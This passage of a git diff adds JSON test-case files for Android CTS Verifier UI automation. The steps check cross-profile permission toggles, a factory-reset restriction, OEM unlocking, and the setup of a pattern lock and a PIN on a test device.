Action, Cross profile permission disabled by default\",\"actionId\":\"d810f0be-9fc5-4f9b-a3cf-a300ec0f5b45\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Cross profile permission disabled by default\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Cross Profile Test App\",\"actionId\":\"e5a14120-d670-49c5-994e-43a1c149bf1b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Cross Profile Test App\"},{\"type\":\"PythonScriptAction\",\"name\":\"Check that Connect these apps is disabled\",\"actionId\":\"f84781c6-e7dc-45f0-a737-31c7ca5a4271\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\n\\nd = Device.create_device_by_slot(0)\\nuicd_util = UICDPythonUtil()\\n\\nresult = d.text(\\\"Connect these apps\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist()\\nuicd_util.assert_true(result, \\\"Connect these apps is not disabled!\\\")\\n \\n\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"491e7b28-b240-47e1-9c85-6e061f87c21d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f201566c-a34a-4a9d-9f32-330193154adf\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Cross profile permission enabled\",\"actionId\":\"f5ab3bec-9d9c-4184-9101-d153f7fe44a3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Cross profile permission enabled\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/cross_profile_settings\",\"actionId\":\"be8aa00f-2995-4ad2-b5b4-f2ca61751f7e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.crossprofilepermissioncontrol:id/cross_profile_settings\"},{\"type\":\"PythonScriptAction\",\"name\":\"Enable the switch of Connect these apps\",\"actionId\":\"4cf2c32b-c56e-4b7b-a12a-b2612ba32bf8\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\n\\nd = Device.create_device_by_slot(0)\\n\\nd.text(\\\"Connect these apps\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\\n \\n\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button1\",\"actionId\":\"823ac20e-73a3-4d66-b5ba-de50948c0b16\",\"actionType\":\"CLICK_ACTION\",\"actionDescription\":\"Allow\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Screen on Cross Profile Test App\",\"actionId\":\"1dce41de-f6d1-4abd-8bf8-404d25218fcc\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Cross Profile Test App\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"INTERACTING ACROSS PROFILES ALLOWED\",\"actionId\":\"7a73bc70-e03d-4359-9494-5c2b17a66c37\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.crossprofilepermissioncontrol:id/cross_profile_app_text\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"INTERACTING ACROSS PROFILES ALLOWED\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"1edbc0ae-ff7f-4f7e-bc15-827e0ede397e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Cross profile permission disabled\",\"actionId\":\"7bbd2501-09e3-4d05-9a8d-5f4a8f260e3b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Cross profile permission disabled\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/cross_profile_settings\",\"actionId\":\"fdeb2654-95c3-438c-ae13-c686a76419df\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.crossprofilepermissioncontrol:id/cross_profile_settings\"},{\"type\":\"PythonScriptAction\",\"name\":\"Disable the switch of Connect these apps\",\"actionId\":\"9ab25e75-7a04-45f0-a7f4-b6eb3fe4070a\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\n\\nd = Device.create_device_by_slot(0)\\n\\nd.text(\\\"Connected\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"4496e549-7600-4e74-8da5-6c0e1654619b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ConditionValidationAction\",\"name\":\"Screen on Cross Profile Test App\",\"actionId\":\"06a9b6de-cf0c-4c8d-8389-30452f28221b\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Cross Profile Test App\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"INTERACTING ACROSS PROFILES NOT ALLOWED\",\"actionId\":\"60590511-7d6f-442d-a93a-d859dc47f4f6\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.crossprofilepermissioncontrol:id/cross_profile_app_text\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"INTERACTING ACROSS PROFILES NOT ALLOWED\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"621e816b-1d63-4893-9ffc-b33d163a196a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"d0cefde3-2f89-4efe-a1f3-e407dca53524\",\"c5f5247e-c278-42d9-8f82-41a80627e856\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"350e266c-1377-48bb-b91e-8e00f2497dee\",\"921eb4e5-1a6a-4b3d-b6ed-7d46dc8a9c7b\",\"d810f0be-9fc5-4f9b-a3cf-a300ec0f5b45\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"e5a14120-d670-49c5-994e-43a1c149bf1b\",\"f84781c6-e7dc-45f0-a737-31c7ca5a4271\",\"491e7b28-b240-47e1-9c85-6e061f87c21d\",\"f201566c-a34a-4a9d-9f32-330193154adf\",\"11862730-912f-4b3c-99d6-cff28c749559\",\"f5ab3bec-9d9c-4184-9101-d153f7fe44a3\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"be8aa00f-2995-4ad2-b5b4-f2ca61751f7e\",\"4cf2c32b-c56e-4b7b-a12a-b2612ba32bf8\",\"823ac20e-73a3-4d66-b5ba-de50948c0b16\",\"1dce41de-f6d1-4abd-8bf8-404d25218fcc\",\"7a73bc70-e03d-4359-9494-5c2b17a66c37\",\"1edbc0ae-ff7f-4f7e-bc15-827e0ede397e\",\"11862730-912f-4b3c-99d6-cff28c749559\",\"7bbd2501-09e3-4d05-9a8d-5f4a8f260e3b\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"fdeb2654-95c3-438c-ae13-c686a76419df\",\"9ab25e75-7a04-45f0-a7f4-b6eb3fe4070a\",\"4496e549-7600-4e74-8da5-6c0e1654619b\",\"06a9b6de-cf0c-4c8d-8389-30452f28221b\",\"60590511-7d6f-442d-a93a-d859dc47f4f6\",\"621e816b-1d63-4893-9ffc-b33d163a196a\",\"11862730-912f-4b3c-99d6-cff28c749559\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_crossprofile_app_path=$HOME/Documents/rvc_release/android-cts-verifier/CrossProfileTestApp.apk\"}}","name":"New_16-2_Cross profile permission control","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.325000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06e13f84-c348-470c-a237-ded70dacf408 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06e13f84-c348-470c-a237-ded70dacf408
new file mode 100644
index 0000000..9bb3c29
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06e13f84-c348-470c-a237-ded70dacf408
@@ -0,0 +1 @@
+{"uuid":"06e13f84-c348-470c-a237-ded70dacf408","details":"{\"type\":\"CompoundAction\",\"name\":\"07-Disallow factory reset\",\"actionId\":\"06e13f84-c348-470c-a237-ded70dacf408\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow factory reset\",\"actionId\":\"52dd279a-f398-4f57-ac27-5b4485144bca\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow factory reset\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"5eb9f8ce-2270-4de3-9ece-e70f36caecc2\",\"displayText\":\"Clear restriction (before leaving test)\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"e40bec78-2bf4-41ef-b653-dde7604b10e3\",\"displayText\":\"Set restriction\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"text\":\"Set restriction\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":410.3333333333333,\"x2\":254.33333333333334,\"y2\":454.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Set restriction\"},{\"uuid\":\"51c56568-ea11-4087-b43f-0822e3760eaf\",\"displayText\":\"Go\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"text\":\"Go\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":454.3333333333333,\"x2\":254.33333333333334,\"y2\":498.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Go\"},{\"uuid\":\"fdd6f0e8-ec71-451a-a06b-755cb8986516\",\"displayText\":\"Clear restriction (before leaving test)\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"text\":\"Clear restriction (before leaving test)\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":498.3333333333333,\"x2\":254.33333333333334,\"y2\":542.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":47.33333333333334,\"y\":2.3333333333333712,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Clear restriction (before leaving test)\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.cts.verifier:id/buttons\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":410.3333333333333,\"x2\":254.33333333333334,\"y2\":542.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":84.5,\"y\":518.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":47.33333333333334,\"y\":-41.66666666666663,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"fdd6f0e8-ec71-451a-a06b-755cb8986516\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow factory reset\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":11.0,\"y1\":502.0,\"x2\":158.0,\"y2\":534.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow factory reset\",\"actionId\":\"a15f4f32-6be1-49b0-b524-cf00741d92f8\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow factory reset\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if Factory data reset is disabled\",\"actionId\":\"f923269e-2afe-4306-8dbd-fea7b2b424e2\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Erase all data (factory reset)\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Erase all data (factory reset)\",\"actionId\":\"ac6e220d-6d6d-4af3-b06c-77e0ffeeeca5\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Erase all data (factory reset)\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f79016e5-77fd-418c-88f8-8b0652610834\",\"actionType\":\"INPUT_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"fc1d1f37-f213-4ea3-8ad6-1dde358c2886\",\"actionType\":\"INPUT_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Developer options\",\"actionId\":\"5fd21b9d-b089-4c3a-9e11-7f2f7ca87744\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Developer options\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY OEM unlock is disabled\",\"actionId\":\"7a4af685-74fc-42cf-b406-9afe16f37b18\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"OEM unlocking\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, OEM unlocking\",\"actionId\":\"f3bff7a2-a32e-43c3-b3ba-420b4790b973\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"OEM unlocking\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"d80bd6c9-3175-4208-92f3-30ed8a37ed53\",\"actionType\":\"INPUT_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"52dd279a-f398-4f57-ac27-5b4485144bca\",\"a15f4f32-6be1-49b0-b524-cf00741d92f8\",\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"d7cdb82c-060e-4a47-83c1-c1b9f6396683\",\"f923269e-2afe-4306-8dbd-fea7b2b424e2\",\"ac6e220d-6d6d-4af3-b06c-77e0ffeeeca5\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"f79016e5-77fd-418c-88f8-8b0652610834\",\"fc1d1f37-f213-4ea3-8ad6-1dde358c2886\",\"5fd21b9d-b089-4c3a-9e11-7f2f7ca87744\",\"7a4af685-74fc-42cf-b406-9afe16f37b18\",\"f3bff7a2-a32e-43c3-b3ba-420b4790b973\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"d80bd6c9-3175-4208-92f3-30ed8a37ed53\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"07-Disallow factory reset","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.098000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a
new file mode 100644
index 0000000..c817aef
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a
@@ -0,0 +1 @@
+{"uuid":"06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if set pattern lock appear, set pattern\",\"actionId\":\"06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if set pattern lock appear\",\"actionId\":\"3d6219dc-0e73-478b-ba7e-7d8a8f3758a3\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"For security, set pattern\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"7cb90848-0db8-498d-ab70-214a8034e1f7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm\",\"actionId\":\"3555ff2a-694a-435a-acac-9d5483294352\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"3d6219dc-0e73-478b-ba7e-7d8a8f3758a3\",\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\",\"7cb90848-0db8-498d-ab70-214a8034e1f7\",\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\",\"3555ff2a-694a-435a-acac-9d5483294352\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if set pattern lock appear, set pattern","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.253000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0b2baaab-b94e-4348-8e3b-e13dc302c5ab b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0b2baaab-b94e-4348-8e3b-e13dc302c5ab
new file mode 100644
index 0000000..ce14307
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0b2baaab-b94e-4348-8e3b-e13dc302c5ab
@@ -0,0 +1 @@
+{"uuid":"0b2baaab-b94e-4348-8e3b-e13dc302c5ab","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Go to WiFi Setting\\\" button\",\"actionId\":\"0b2baaab-b94e-4348-8e3b-e13dc302c5ab\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":10000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Go to WiFi Settings\",\"actionId\":\"07c8449e-c816-4173-86d9-71a5d89f86d5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Go to WiFi Settings\"}],\"childrenIdList\":[\"07c8449e-c816-4173-86d9-71a5d89f86d5\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Go to WiFi Setting\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.087000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0bb19e90-9994-4d49-9188-fe2405a8dc37 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0bb19e90-9994-4d49-9188-fe2405a8dc37
new file mode 100644
index 0000000..ebff426
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0bb19e90-9994-4d49-9188-fe2405a8dc37
@@ -0,0 +1 @@
+{"uuid":"0bb19e90-9994-4d49-9188-fe2405a8dc37","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if set PIN or Password screen appear, set password to \\\"2468\\\"\",\"actionId\":\"0bb19e90-9994-4d49-9188-fe2405a8dc37\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if set PIN or Set password screen appear\",\"actionId\":\"c450fd1b-eaaa-40b9-b655-eeea69d812dd\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"For security, set PIN\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"For security, set password\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, next button\",\"actionId\":\"70a8a3ed-5265-4754-8f41-9f112cc8fd19\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm button\",\"actionId\":\"6bbb3508-0620-422f-b6bb-5ad168e9f6f4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"c450fd1b-eaaa-40b9-b655-eeea69d812dd\",\"b9e13d9a-43e6-44b0-a3f6-48b3de93d39a\",\"70a8a3ed-5265-4754-8f41-9f112cc8fd19\",\"b9e13d9a-43e6-44b0-a3f6-48b3de93d39a\",\"6bbb3508-0620-422f-b6bb-5ad168e9f6f4\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if set PIN or Password screen appear, set password to \"2468\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.254000000}
\ No newline at end of file
